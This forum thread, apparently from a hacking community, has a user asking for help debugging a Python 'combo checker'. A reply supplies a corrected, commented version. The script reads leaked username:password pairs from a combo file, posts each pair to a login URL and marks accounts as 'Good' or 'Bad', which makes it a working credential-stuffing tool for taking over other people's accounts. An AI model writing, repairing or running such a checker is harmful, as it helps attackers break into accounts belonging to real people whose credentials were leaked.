Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



 1179

Need help to fix it ;/

by WakechuBG - 20 November, 2022 - 04:32 PM
This post is by a banned member (WakechuBG) - Unhide
WakechuBG  
Registered
320
Posts
11
Threads
3 Years of service
#1
Hey im curious how to fix this lol checker can smn tell me where is my problem 
import requests
combolists = open("combo.txt", "r").readlines
url= ""
 for combo in combolist:
    seq = combo.strip()
    acc = seq.split(":")
    username = acc[0]
    password = acc [1]
    account = username + ":" + password
    headers = {
        "Content-Type" : "",
    "User-Agent": "
    "uname": username,
    "pass": password
    }
    req = requests.post(url, data=headers).text
    if not "Username" in req:
        print("Good: " + account)
    else:
        print("Bad: " + account)

Hey im curious hpw to fix this lol checker can smn tell me where is my problem
REPORT LEACHERS LEAVE A LIKE OR Ban 2  IM CHECKING :)
:weebsout: multiriot
This post is by a banned member (Stoic101) - Unhide
This post is by a banned member (WakechuBG) - Unhide
WakechuBG  
Registered
320
Posts
11
Threads
3 Years of service
Bumped #3
(This post was last modified: 20 November, 2022 - 05:38 PM by WakechuBG.)
This is a bump

i tried ;d i cant
This post is by a banned member (polo) - Unhide
polo  
Supreme
1.033
Posts
203
Threads
5 Years of service
#4
(This post was last modified: 20 November, 2022 - 10:06 PM by polo.)
what is the error / issue you are having.
This post is by a banned member (WakechuBG) - Unhide
WakechuBG  
Registered
320
Posts
11
Threads
3 Years of service
#5
this is https://prnt.sc/L2PAHrfA_hj0
REPORT LEACHERS LEAVE A LIKE OR Ban 2  IM CHECKING :)
:weebsout: multiriot
This post is by a banned member (MintTea) - Unhide
MintTea  
Registered
30
Posts
5
Threads
3 Years of service
#6
(This post was last modified: 23 November, 2022 - 12:04 AM by MintTea. Edited 1 time in total.)
Code:
import requests
combolist = []
combo = open("combo.txt", "r").readlines() #Reads every line from combo.txt but doesn't strip anything 
#print(combo) #Example output: ['user:pass\n', 'user1:pass1\n', 'user2:pass2\n', 'user3:pass3']
for c in combo: #Go through the lines
    combolist.append(c.strip()) #And strip each line
#print(combolist) #Example output ['user:pass', 'user1:pass1', 'user2:pass2', 'user3:pass3']
url = "" #Enter the url for your endpoint. Every endpoint will require different headers / payloads
for c in combolist:
    #seq = combo.strip() | Not necessary anymore because we stripped beforehand which saves time
    #acc = seq.split(":") | Can be shortened to just username,password = c.split(":")
    #username = acc[0]
    #password = acc [1]
    username,password = c.split(":")
    acc = username + ":" + password
    #headers = {"Content-Type" : "","User-Agent": ""} | Headers are usually not the payload
    headers = {"Content-Type" : "","User-Agent": ""} #Headers
    payload = {"uname": username,"pass": password} #Data
    req = requests.post(url, headers=headers,data=payload).text #Gets the text response
    if "Username" not in req: #Can just say if "Username" not in req |  Req is the response text
        print("Good: " + account)
    else:
        print("Bad: " + account)

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)